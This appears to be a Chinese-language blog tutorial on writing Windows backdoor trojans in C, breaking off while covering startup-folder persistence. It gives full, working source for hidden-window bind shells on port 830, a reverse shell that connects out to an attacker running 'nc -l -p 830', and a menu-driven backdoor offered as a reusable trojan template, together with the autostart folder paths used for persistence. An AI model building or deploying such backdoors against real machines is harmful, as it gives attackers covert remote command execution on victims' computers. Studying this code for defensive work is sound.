黑客编程入门 之 后门编写初探

基本的执行DOS命令木马

  我们现在先考虑最早的木马:将目标主机作为服务器,打开一个端口进行监听,攻击者就可以通过telnet进行连接。
  DOS功能是木马必须拥有的最小的功能模块。那么我们现在的任务就是:1. 开创 cmd.exe 进程;2. 把 cmd 进程和客户的输入连起来。那么接下来介绍一下我们所需要的的函数:

所需函数

CreateProcess函数

BOOL CreateProcess(
	LPCTSTR IpApplicationName, 
	LPTSTR IpCommandLine, 
	LPSECURITY_ATTRIBUTES IpProcessAttributes, 
	LPSECURITY_ATTRIBUTES IpThreadAttributes, 
	BOOL bInheritHandles, 
	DWORD dwCreationFlags, 
	LPVOID IpEnvironment, 
	LPCTSTR IpCurrentDirectory, 
	LPSTARTUPINFO IpStartupInfo, 
	LPPROCESS_INFORMATION IpProcessInformation
);
参数含义
IpApplicationName指向包含要运行的EXE程序名
IpCommandLine如果要执行DOS命令,指向命令行字符串
IpProcessAttributes进程的安全属性
IpThreadAttributes描述进程初始线程(主线程)的安全属性
bInheritHandles表示子进程(被创建的进程)是否可以继承父进程的句柄
dwCreationFlags表示创建进程的优先级列表和进程的类型,分Idle,Normal,High,Real_time四个类别
IpEnvironment指向环境变量块,环境变量可以被子进程继承
IpCurrentDirectory表示当前运行目录
IpStartupInfo指向StartupInfo结构,控制进程的主窗口的出现方式
IpProcessInformation指向PROCESS_INFORMATION结构,用来存储返回的进程信息
type struct _PROCESS_INFORMATION {
	HANDLE hProcess;
	HANDLE hThread;
	DWORD dwProcessId;
	DWORD dwThreadId;
} PROCESS_INFORMATION;

  这个函数参数好多啊~不过好在使用的时候我们大部分都只是填写NULL,0或1,用的多了自然就习惯了,下面先给一个例子来熟悉一下这个函数的使用 ~

#include <windows.h>
#include <stdio.h>

int main() {
    PROCESS_INFORMATION ProcessInfomation;
    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));

    CreateProcess(NULL,                 // 不是执行exe文件,设为NULL
                  "cmd.exe",            // 执行dos命令
                  NULL,                 // 进程安全属性设置为NULL
                  NULL,                 // 线程安全属性设置为NULL
                  1,                    // 子进程可继承父进程的句柄
                  0,                    // 优先级设置为0
                  NULL,                 // 环境变量块设为NULL
                  NULL,                 // 当前运行目录设为NULL
                  &si,                  // 主窗口的出现方式设置
                  &ProcessInfomation);  // 存储返回的进程信息
    return 0;
}

  现在我们第一个任务已经完成了,那么现在创建好了 cmd 进程,可是怎么与客户端通信呢,这就涉及到进程间的通信问题了。
  进程间通信(IPC)机制是指同一台计算机的不通进程之间,或在网络上不同计算机的进程之间的通信。Windows 下的方法包括邮槽(Mailslot)、管道(Pipes)、事件(Events)、文件映射(FileMapping)等。我们在这里使用匿名管道。管道分为匿名管道和有名管道,匿名管道相对要简单得多。匿名管道是单向的,所以为了实现通信,我们要设置两个管道。匿名管道由CreatePipe()函数创建,管道有读句柄和写句柄,分别作为输入和输出。

BOOL CreatePipe(
	PHANDLE hReadPipe, 						// 管道的读句柄
	PHANDLE hWritePipe, 					// 管道的写句柄
	LPSECURITY_ATTRIBUTES IpPipeAttributes, // 管道属性结构的指针
	DWORD nSize								// 设置管道缓冲区大小,0设为默认值
);

  如果函数执行成功,返回非0值;如果失败,返回0。
  现在管道建立起来以后,还需要有函数能读写缓冲区,和查看缓冲区中是否有内容。

// PeekNamePipe函数读取出数据,但不从pipe中移除,可以用于判断管道中是否有数据
BOOL PeekNamePipe(
	HANDLE hNamePipe, 				// 要检查管道的读句柄
	LPVOID IpBuffer, 				// 读取句柄里数据的缓冲区
	DWORD nBuffSize, 				// 缓冲区的大小
	LPDWORD IpBytesRead, 			// 返回实际读取数据的字节数
	LPDWORD IpTotalBytesAvail,		// 返回读取数据的粽子节数
 	LPDWORD IpBytesLeftThisMessage	// 返回该消息中剩余的字节数,匿名管道可以是0
);
BOOL ReadFile(
	HANDLE hFile, 				// 要读取的句柄
	LPVOID IpBuffer, 			// 为接收数据的缓冲区
	DWORD nNumberOfBytesToRead, // 要读取的字节数
	LPWORD IpNumberOfBytesRead, // 实际读取的字节数
	LPOVERLAPPED IpOverlapped	// 指向OVERLAPPED结构
);
BOOL ReadFile(
	HANDLE hFile, 				// 要写入的句柄
	LPCVOID IpBuffer, 			// 为写入数据的缓冲区
	DWORD nNumberOfBytesToWrite,// 要写入的字节数
	LPWORD IpNumberOfBytesWritten,// 实际写入的字节数
	LPOVERLAPPED IpOverlapped	// 指向OVERLAPPED结构
);

  现在我们工具都已经有了,那么下面就是组装了。我们需要建立两个管道,一个用于读取cmd返回的结果,另一个用于向 cmd 写入命令。假设我们管道1用于读取 cmd 的返回信息,那么我们就需要把 cmd 子进程的输出句柄与管道的写句柄绑定;管道2用于写入 cmd 命令,我们把 cmd 子进程的输入句柄与管道的读句柄绑定。我们从攻击者主机获得的字符串写入管道2,那么 cmd 子进程就可以通过管道的读句柄读取到其中的命令,结果的返回也是一样的道理。
  下面就是组装的代码了。

代码实现

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

int main() {

    int ret;

    // 初始化 Windows Socket Dll
    WSADATA ws;
    WSAStartup(MAKEWORD(2, 2), &ws);

    // 建立 socket
    SOCKET listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    // 监听本主机 830 端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr = ADDR_ANY;
    // 绑定 socket
    ret = bind(listenFD, (struct sockaddr*)&server, sizeof(server));
    ret = listen(listenFD, 2);

    // 如果客户端请求830端口,接受连接
    int iAddrSize = sizeof(struct sockaddr);
    struct sockaddr_in client;
    SOCKET clientFD = accept(listenFD, (struct sockaddr*)&client, &iAddrSize);
    char client_addr[20];
	sprintf(client_addr, "%d.%d.%d.%d",
	client.sin_addr.s_addr&0xff,
	(client.sin_addr.s_addr>>8)&0xff,
	(client.sin_addr.s_addr>>16)&0xff,
	(client.sin_addr.s_addr>>24)&0xff);
	printf("Connected! Client IP: %s:%d\n", client_addr, client.sin_port);

    // 定义管道所需的读写句柄和管道属性
    HANDLE hReadPipe1, hWritePipe1;
    HANDLE hReadPipe2, hWritePipe2;
    SECURITY_ATTRIBUTES pipeattr1, pipeattr2;

    // 建立两个管道,管道1用于输出cmd子进程的结果
    pipeattr1.nLength = 12;
    pipeattr1.lpSecurityDescriptor = 0;
    pipeattr1.bInheritHandle = true;
    CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0);

    pipeattr2.nLength = 12;
    pipeattr2.lpSecurityDescriptor = 0;
    pipeattr2.bInheritHandle = true;
    CreatePipe(&hReadPipe2, &hWritePipe2, &pipeattr2, 0);

    PROCESS_INFORMATION ProcessInformation;
    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    // 将子进程 cmd 的输入输出句柄重定向到管道的读写句柄
    si.hStdInput = hReadPipe2;
    si.hStdOutput = si.hStdError = hWritePipe1;
    char cmdLine[] = "cmd";

    // 建立进程
    CreateProcess(NULL,         // 不是执行 exe 文件,设置为NULL
                  cmdLine, // 执行的 dos 命令为 cmd.exe
                  NULL,         // 进程安全属性为NULL
                  NULL,         // 线程安全属性为NULL
                  1,            // 子进程可继承父进程的句柄
                  0,            // 优先级设为0
                  NULL,         // 环境变量块设为NULL
                  NULL,         // 当前运行目录设置为NULL
                  &si,          // 主窗口的出现方式
                  &ProcessInformation); // 存储返回的进程信


    Sleep(100);
    unsigned long IByteRead;
    char Buff[1024];
    while (true) {
        ZeroMemory(Buff, sizeof(Buff));
        // 检查管道1,即cmd的进程是否有输出
        ret = PeekNamedPipe(hReadPipe1, // 检查管道1的读句柄
                            Buff,       // 存储缓冲区
                            1024,       // 缓冲区大小
                            &IByteRead, // 返回实际读取字节数
                            0,          // 读取的粽子节数,设为0
                            0);         // 返回该消息剩余的字节数,对匿名管道可以是0
        printf("检测缓冲区存有字节数为:%ul\n", IByteRead);
        if (IByteRead) {
            // 管道1有输出,读出Pipe1的输出结果
            ret = ReadFile(hReadPipe1,  // 读取管道1的读句柄
                           Buff,        // 读取数据保存缓冲区
                           IByteRead,   // 要读取的字节数
                           &IByteRead,  // 实际读取的字节数
                           0);          // 指向 OVERLAPPED 结构设为NULL
            // ret返回值为0则读取失败
            if (!ret)   break;

            // 读取数据后发送给远程控制机
            ret = send(clientFD, Buff, IByteRead, 0);
            if (ret <= 0)   break;
        } else {
            // 否则,接收远程客户机的命令
            // printf("Receiving...\n");
            IByteRead = recv(clientFD, Buff, 1024, 0);
            // printf("接受到客户端的数据字节数为: %d\n", strlen(Buff));
            if (IByteRead <= 0) break ;

            // 将命令写入管道写入管道2,即传给cmd进程
            ret = WriteFile(hWritePipe2,    // 写入管道2的写句柄
                            Buff,           // 存的是远程客户机发送过来的命令
                            IByteRead,      // 客户机发送过来命令的长度
                            &IByteRead,     // 返回实际写入的长度
                            0);             // 指向 OVERLAPPED 结构设为 NULL
            if (IByteRead == 2 && (Buff[0] == 13 && Buff[1] == 10)) {   // 输入的是回车,等待结果
                Sleep(100);
            }
            if (!ret)   break ;
        }
    }

    return 0;
}

  我们执行程序,并打开 cmd,使用telnet 127.0.0.1 830进行连接。当然如果可以的话,可以自己开一个热点,使用两台电脑,然后使用对方的 ip 也是可以的。
  注:telnet 当用户每输入一个字符,telnet 就会将输入的字符传输到目标主机。这样也是为了保证数据的实时传输。所以在我们接收到客户端的数据时,有时候需要做一定的处理,一定要注意这一点,有时候不注意的话可能会产生预料外的错误,或者显示错误。

  这个代码看起来是不是太长了,因为使用了两个管道,我们需要更多的操作来处理管道。那么有没有什么办法来减少管道呢,当然是有的。还记得嘛,在创建进程函数的参数中,第二个可以设置 DOS 命令,我们也可以将客户端传来的数据组装成一条 DOS 命令,每次都创建一个进程来执行。这样我们就只需要一个管道来接收 cmd 子进程的返回结果了,因为传入的命令已经在进程创建时直接传入了。有了这样的思路了,那就可以进行实现了,下面给出参考代码:

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

int main() {

    int ret;

    // 初始化 Windows Socket Dll
    WSADATA ws;
    WSAStartup(MAKEWORD(2, 2), &ws);

    // 建立 socket
    SOCKET listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    // 监听本主机 830 端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr = ADDR_ANY;
    // 绑定 socket
    ret = bind(listenFD, (struct sockaddr*)&server, sizeof(server));
    ret = listen(listenFD, 2);

    // 如果客户端请求830端口,接受连接
    int iAddrSize = sizeof(struct sockaddr);
    struct sockaddr_in client;
    SOCKET clientFD = accept(listenFD, (struct sockaddr*)&client, &iAddrSize);
    char client_addr[20];
	sprintf(client_addr, "%d.%d.%d.%d",
	client.sin_addr.s_addr&0xff,
	(client.sin_addr.s_addr>>8)&0xff,
	(client.sin_addr.s_addr>>16)&0xff,
	(client.sin_addr.s_addr>>24)&0xff);
	printf("Connected! Client IP: %s:%d\n", client_addr, client.sin_port);

    // 定义管道所需的读写句柄和管道属性
    HANDLE hReadPipe1, hWritePipe1;
    SECURITY_ATTRIBUTES pipeattr1;

    // 管道1用于输出cmd子进程的结果
    pipeattr1.nLength = 12;
    pipeattr1.lpSecurityDescriptor = 0;
    pipeattr1.bInheritHandle = true;
    CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0);

    PROCESS_INFORMATION ProcessInformation;
    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    // 将子进程 cmd 的输入输出句柄重定向到管道的读写句柄
    //si.hStdInput = hReadPipe2;
    si.hStdOutput = si.hStdError = hWritePipe1;
    char cmdLine[200] = "cmd.exe /c ";
    unsigned long IByteRead;
    char Buff[1024];

    while (true) {
        ZeroMemory(Buff, sizeof(Buff));
        // 检查管道1,即cmd的进程是否有输出
        ret = PeekNamedPipe(hReadPipe1, // 检查管道1的读句柄
                            Buff,       // 存储缓冲区
                            1024,       // 缓冲区大小
                            &IByteRead, // 返回实际读取字节数
                            0,          // 读取的粽子节数,设为0
                            0);         // 返回该消息剩余的字节数,对匿名管道可以是0
        // printf("检测缓冲区存有字节数为:%ul\n", IByteRead);
        if (IByteRead) {
            // 管道1有输出,读出Pipe1的输出结果
            ret = ReadFile(hReadPipe1,  // 读取管道1的读句柄
                           Buff,        // 读取数据保存缓冲区
                           IByteRead,   // 要读取的字节数
                           &IByteRead,  // 实际读取的字节数
                           0);          // 指向 OVERLAPPED 结构设为NULL
            // ret返回值为0则读取失败
            if (!ret)   break;

            // 读取数据后发送给远程控制机
            ret = send(clientFD, Buff, IByteRead, 0);
            if (ret <= 0)   break;

            // 如果已经把管道中的数据全部读取出来,则开始重新组装命令
            strcpy(cmdLine, "cmd.exe /c ");
        } else {
            // 否则,接收远程客户机的命令
            // printf("Receiving...\n");
            IByteRead = recv(clientFD, Buff, 1024, 0);
            // printf("接受到客户端的数据字节数为: %d: %d, %d\n", strlen(Buff), Buff[0], Buff[1]);
            if (IByteRead <= 0) break ;

            strncat(cmdLine, Buff, IByteRead);
            // printf("cmdLine: %s", cmdLine);

            // 以命令为参数,启动 cmd 执行
            if (IByteRead == 2 && (Buff[0] == 13 && Buff[1] == 10)) {
                CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
                Sleep(100);
            }
            // if (!ret)   break ;
        }
    }

    return 0;
}

  该程序的使用和双通道木马是相同的,也需要 telnet 连接。但是这个有一点缺陷,本人电脑上运行时没有提示界面,纯黑屏,所以不便使用。

零管道木马和反弹木马

零管道

  严格上来说,零管道并不是说不用管道,而是不需要我们新创建管道。我们直接用 socket 句柄代替 cmd 子进程的输入输出句柄,如

si.hStdInput = si.hStdError = si.hStdOutput = (void*)clientFD; 

这样替换后,cmd 的输入输出就可以直接和远程通信了,省去了进程间传递的所有东西。但是这里使用的 socket 描述符和之前创建的不一样,需要使用 WSASocket函数创建。

SOCKET WSASocket(
	int af,	
	int type,
	int protocol,
	LPWSAPROTOCOL_INFO IpProtocolInfo,	// 指向 WSAPROTOCOL_INFO 结构的指针
	GROUP g,							// 保留字段不使用
	DWORD dwFlags						// 指定 socket 属性的 flag
);

  这样建立的 socket 才能进行替换。因为该函数建立的是费重叠套接字,可以直接将 cmd 子进程的 stdin,stdout,stderr 转向套接字上。接下来给出参考代码看一下具体是怎么实现的:

// @toc 零管道木马
// @author Steve Curcy
// @dev 直接将 cmd 的stdin, stdout, stderr 转到套接字上
// @dev 使用 WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)
// @dev 必须创建非重叠套接字
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

int main() {

    int ret;

    // 初始化 Window Socket Dll
    WSADATA ws;
    WSAStartup(MAKEWORD(2, 2), &ws);

    // 创建 socket
    SOCKET listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    // 绑定并监听830端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr = ADDR_ANY;
    ret = bind(listenFD, (struct sockaddr*)&server, sizeof(server));
    ret = listen(listenFD, 2);

    // 如果客户请求,接受连接
    struct sockaddr_in client;
    int iAddrSize = sizeof(struct sockaddr);
    SOCKET clientFD = accept(listenFD, (struct sockaddr*)&client, &iAddrSize);

    PROCESS_INFORMATION ProcessInformation;
    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_SHOWNORMAL;
    si.hStdInput = si.hStdError = si.hStdOutput = (void*)clientFD;
    char cmdLine[] = "cmd.exe";

    // 建立进程
    ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
    WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
    TerminateProcess(ProcessInformation.hProcess, 0);
    CloseHandle(ProcessInformation.hProcess);
    printf("done!\n");

    return 0;
}

  零管道编写编写的确比较方便,但是一旦用户输入命令,就直接进入 cmd 进程执行了,有时候我们希望能先处理一下用户输入的命令,这就需要使用双管道或者单管道的方式了,但是单管道执行连续命令时又不大方便,所以我们需要根据实际需要来进行代码的编写。

反弹木马

  不管是以上说到的零管道还是单双管道,都是以目标主机为服务器,但是如果目标主机开启了防火墙,那么这个服务启动就失败了,我们的木马也就失效了。所以,随着时间的推移,反弹木马也登上了历史的舞台。也就是,我们将自己(攻击者)作为服务器,持续监听,将目标主机作为客户端,一旦木马被触发,我们就会获得一个 cmd shell 。我们这里以零管道为例,目标主机主动连接攻击者,连接后,我们就将 cmd 的输入和输出句柄都设置为客户端的套接字描述符,借助本机的 socket 发给攻击者的 socket。下面给出具体实现的代码:

// @toc 反弹木马 将攻击者当做服务器,被攻击者主动进行连接
// @author SteveCurcy
// @dev 这里使用零管道方式,其他方式思想相同,实现类似
// @dev 攻击者使用 netcat 进行监听,命令为 nc -l -p 830
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

int main() {

    int ret;

    // 初始化 Window Socket DLL
    WSADATA ws;
    WSAStartup(MAKEWORD(2, 2), &ws);

    // 创建 Socket
    SOCKET clientFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    // 连接攻击者 830 端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr = inet_addr("127.0.0.1");
    // 反向连接
    connect(clientFD, (struct sockaddr*)&server, sizeof(server));

    PROCESS_INFORMATION ProcessInformation;
    STARTUPINFO si;
    // 初始化为零
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdError = si.hStdInput = si.hStdOutput = (void*)clientFD;
    char cmdLine[] = "cmd.exe";

    // 建立进程
    ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);

    return 0;
}

  编写完代码之后先别急着执行,先有请我们的重要工具“netcat”,用 nc -l -p 830 监听本机的830端口,当目标主机触发了木马程序的时候,我们这里就会弹出一个 DOS shell 了。但是 Windows10 并不自带这个工具,可以来这里地方下载(提取码:go7w)。下载完成后,解压,其中有一个 nc.exe ,可以打开命令行直接使用

.\nc.exe -l -p 830

来对本机的830进行监听,与上述命令是相同的效果。这样反弹木马就算是制作完成了。
  可是这样,我们并没有办法自由的调用 DOS,下一步我们就要做一个木马功能的增强和扩展了。也就是,我们调用了 cmd 之后还可以重新退回到木马程序执行其他的命令。

木马功能的增强和扩展模块

打造初步后门

  我们以在服务端的木马为例,那么前一部分代码,监听和接收连接就不再赘述。后面主要的代码就是对 recv 函数收到的命令进行分析和执行。又以为前面说到,telnet 是每输入一个字符就会传到服务器,那么我们就可以相应的,每得到一个字符就当做一个命令进行判断。至于判断的方式 switch case,if else 都是可以的,这里因为只是对字符进行判断,所以使用 switch case 结构会更简便一些。
  那么既然是木马程序,我们可以加入一点控制主机操作的元素,比如交换鼠标的左右键。(手动狗头)这个需要 SwapMouseButton 函数,参数为 1 时交换鼠标设置,为 0 时恢复鼠标设置。
  当然,除了应有的功能,一份帮助文档也是很有必要的,不只是为了可能的木马用户,如果命令多了,自己也有可能会记不清,这里使用 ‘?’ 来返回一个捡漏的帮助文档。
  还缺什么功能嘛?当然,如果给你的一个窗口没有关闭键,我想换谁都会抓狂的吧,打开是打开了,怎么关呢。那么我们理所应当给我们的木马程序加一个退出的命令,除此之外,有时候我们其实并不想完全退出程序,而是暂时停止与此主机的连接转而查看另一台主机呢?所以我们应该加一条断开连接的命令,断开后继续监听,方便我们后续再次连接木马程序。
  这样看来,一个木马的雏形算是基本完成了。程序虽小,还很简陋,但是五脏俱全,那么下面就放出我们的代码:

// @toc 初步后门
// @author SteveCurcy
// @dev 一个木马不仅需要提供 DOS Shell,还要有自己的操作
// @dev 这里以服务端木马为例,进一步编写木马功能
// @dev 通过攻击者传过来的命令进行执行
// @dev 一个成熟的软件,都有详细的帮助文档来方便用户使用
// @dev 需要有与木马断开连接的命令,和退出木马程序的命令
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

int main() {

    int ret;    // returned value

    // 初始化 Windows Socket DLL
    WSADATA ws;
    WSAStartup(MAKEWORD(2, 2), &ws);

    // 创建 Socket
    SOCKET serverFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    // 监听830端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr = ADDR_ANY;
    ret = bind(serverFD, (struct sockaddr*)&server, sizeof(server));
    ret = listen(serverFD, 2);

ag:
    // 接受攻击者的请求
    struct sockaddr_in client;
    int iAddrSize = sizeof(client);
    SOCKET clientFD = accept(serverFD, (struct sockaddr*)&client, &iAddrSize);

    // 接受命令并作出响应
    char Buff[1024];
    while (true) {
        int IByteRead = recv(clientFD, Buff, 1024, 0);
        if (IByteRead <= 0) break ;
        switch(Buff[0]) {
            case 'x':   SwapMouseButton(1); break;  // 交换按键
            case 'r':   SwapMouseButton(0); break;  // 恢复按键
            case 'q':   closesocket(clientFD);  goto ag;  // 退出链接,可再次连接
            case 'e':   closesocket(clientFD);  closesocket(serverFD);  exit(0);    // 退出木马程序
            case '?':   send(clientFD, "? x r q e", sizeof("? x r q e"), 0);
        }
    }

    return 0;
}

  这代码就简单的多了吧,可是总觉得少点什么啊…emmm,就是我们刚开始写的 dos 命令的部分,我们还没有,我们下面就应该考虑如何调出一个 cmd 了。

cmd shell 的自由切换

  虽然我们可以直接写出程序来实现所有想要的 DOS 命令,但是没有必要,现成的命令,最好还是交给系统来执行以减少我们的工作量。那我们就可以用到我们之前学到的知识,采用零管道的方式创建一个 cmd 子进程,一直等待 cmd 得到 exit 退出(或者被结束)后才继续我们的木马程序。为此我们需要使用 WaitForSingleObject 函数来将木马程序阻塞,一直等待 cmd 结束再继续执行。等待 cmd 完成之后,杀掉 cmd 进程,关闭进程句柄,就可以安全的返回我们的木马程序的结界了。废话不多说,直接上代码:

// @toc cmd shell 自由切换
// @author SteveCurcy
// @dev 本代码在 BackDoor1.cpp 的基础上改进而成
// @dev 在原本基础上,增加了绑定 cmd 的功能,以及退出
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

void cmdShell(SOCKET target) {
    PROCESS_INFORMATION ProcessInformation;
    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_SHOWNORMAL;
    si.hStdInput = si.hStdError = si.hStdOutput = (void*)target;
    char cmdLine[] = "cmd.exe /k";

    // 建立进程
    int ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
    WaitForSingleObject(ProcessInformation.hProcess, INFINITE); // 无线等待 cmd 子进程,直到 cmd 结束(exit退出)
    TerminateProcess(ProcessInformation.hProcess, 0);   // 杀死 cmd 进程
    CloseHandle(ProcessInformation.hProcess);   // 关闭进程句柄
}

int main() {

    int ret;    // returned value

    // 初始化 Windows Socket DLL
    WSADATA ws;
    WSAStartup(MAKEWORD(2, 2), &ws);

    // 创建 Socket
    SOCKET serverFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    // 监听830端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr = ADDR_ANY;
    ret = bind(serverFD, (struct sockaddr*)&server, sizeof(server));
    ret = listen(serverFD, 2);

ag:
    // 接受攻击者的请求
    struct sockaddr_in client;
    int iAddrSize = sizeof(client);
    SOCKET clientFD = accept(serverFD, (struct sockaddr*)&client, &iAddrSize);


    // 接受命令并作出响应
    char Buff[1024], command[1024];
    while (true) {
        int IByteRead = recv(clientFD, Buff, 1024, 0);
        if ( IByteRead == SOCKET_ERROR || IByteRead <= 0 ) break ;
        switch(Buff[0]) {
            case 'x':   SwapMouseButton(1); break;  // 交换按键
            case 'r':   SwapMouseButton(0); break;  // 恢复按键
            case 'q':   closesocket(clientFD);  goto ag;  // 退出链接,可再次连接
            case 'e':   closesocket(clientFD);  closesocket(serverFD);  exit(0);    // 退出木马程序
            case '?':   send(clientFD, "? x r q e s", sizeof("? x r q e s"), 0);
            case 's':   cmdShell(clientFD); send(clientFD, "Shell OK!", sizeof("Shell OK!"), 0);    break;
        }
    }

    return 0;
}

模板 = 木马

  但是,这样的界面还是太不美观了,我们还需要改进。为此我们可以添加一个提示符,比如 ‘door>’,此外,现在使用的命令都是单个的字符,我们可以判断,将客户发来的字符先存储下来;当客户端发来回车时,说明已经输入完一条完整的命令,那么就将命令交给 cmd 执行。注意,我们桥下回车实际上是发送了两个字符,即 ‘\r’, ‘\n’ 那么我们对此进行判断就可以了。我们增长了命令的长度,比较的时候就可以使用字符串的比较函数 strcmp 了,并且我们在进一步完善命令的同时,我们也将帮助信息进一步完善。就得到一个比较像样的简单的木马程序,以后的木马程序的开发可以基于此来进行,将此作为一个模板。下面来看最终的代码:

// @toc 模板 = 木马
// @author SteveCurcy
// @dev 本代码在 BackDoor2.cpp 的基础上改进而成
// @dev 在原本基础上,改善界面,用户输入长命令以及提示符
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>

void cmdShell(SOCKET target) {
    PROCESS_INFORMATION ProcessInformation;
    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_SHOWNORMAL;
    si.hStdInput = si.hStdError = si.hStdOutput = (void*)target;
    char cmdLine[] = "cmd.exe /k";

    // 建立进程
    int ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
    WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
    TerminateProcess(ProcessInformation.hProcess, 0);
    CloseHandle(ProcessInformation.hProcess);
}

int main() {

    int ret;    // returned value

    // 初始化 Windows Socket DLL
    WSADATA ws;
    WSAStartup(MAKEWORD(2, 2), &ws);

    // 创建 Socket
    SOCKET serverFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    // 监听830端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr = ADDR_ANY;
    ret = bind(serverFD, (struct sockaddr*)&server, sizeof(server));
    ret = listen(serverFD, 2);

ag:
    // 接受攻击者的请求
    struct sockaddr_in client;
    int iAddrSize = sizeof(client);
    SOCKET clientFD = accept(serverFD, (struct sockaddr*)&client, &iAddrSize);
    send(clientFD, "Welcome to the BackDoor program!\r\nBackDoor> ", sizeof("Welcome to the BackDoor program!\nBackDoor> "), 0);


    // 接受命令并作出响应
    char Buff[1024], command[1024];
    char help_text[] = "help --帮助命令\r\nchange --交换鼠标左右键\r\nreset --恢复鼠标默认设置\r\nquit --断开连接\r\nexit --退出木马程序\r\ncmd --调出CMD Shell\r\n";
    ZeroMemory(command, sizeof(command));
    while (true) {
        ZeroMemory(Buff, sizeof(Buff));

        int IByteRead = recv(clientFD, Buff, 1024, 0);
        if ( IByteRead == SOCKET_ERROR || IByteRead <= 0 ) break ;

        if ( IByteRead == 2 && (Buff[0] == 13 && Buff[1] == 10) ) {
            if ( strcmp(command, "help") == 0 ) {
                send(clientFD, help_text, sizeof(help_text), 0);
            } else if( strcmp(command, "change") == 0 ) {
                SwapMouseButton(1);  // 交换按键
            } else if( strcmp(command, "reset") == 0 ) {
                SwapMouseButton(0);  // 恢复按键
            } else if( strcmp(command, "quit") == 0 ) {
                closesocket(clientFD);  goto ag;    // 退出链接,可再次连接
            } else if( strcmp(command, "exit") == 0 ) {
                closesocket(clientFD);  closesocket(serverFD);  exit(0);    // 退出木马程序
            } else if( strcmp(command, "cmd") == 0 ) {
                cmdShell(clientFD);
            } else {
                send(clientFD, "该命令不存在", sizeof("该命令不存在"), 0);
            }
            send(clientFD, "BackDoor> ", sizeof("BackDoor> "), 0);
            ZeroMemory(command, sizeof(command));
        } else {
            strncat(command, Buff, IByteRead);
        }

    }

    return 0;
}

普通木马的自启动

木马的自启动有很多方式,这里只举两种最常用的方式

启动文件夹

  当 Windows 启动时,会自动打开开始菜单的启动文件夹中的所有项目。win7和win10 是有所不同的。win7的路径为:

系统盘:\Documents and Settings<用户名>\「开始」菜单\程序\启动
系统盘:\Documents and Settings\All Users\「开始」菜单\程序\启动

  win10系统在此基础上做出了一定的改进,将其中的某些文件夹设置为隐藏文件夹,并在图形化界面的开始菜单中取消了启动文件夹这一项,但是在实际的文件夹中还是存在的。这虽然增强了隐蔽性,但是还是可以通过此方法添加启动项。路径如下:

C:\Users\UserName\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

  那么,了解了原理之后,我们当然还需要工具,相应的函数。首先我们要获得系统盘符,此外,我们还需要获得本文件所在的路径,函数如下:

UNIT GetSystemDirectory(
	LPTSTR IpBuffer, 	// 存储接收到的系统安装目录
	UNIT uSize			// 指明缓冲区的大小
);
DWORD GetModuleFileName(
	HNODULE hModule, 	// 获得该模块的路径;如想获得本模块的路径,则设置为NULL
	LPTSTR IpFilename, 	// 存储获得的文件路径
	DWORD nSize			// 指明IPFilename的大小
);

函数已经准备完成,下面开始组装:

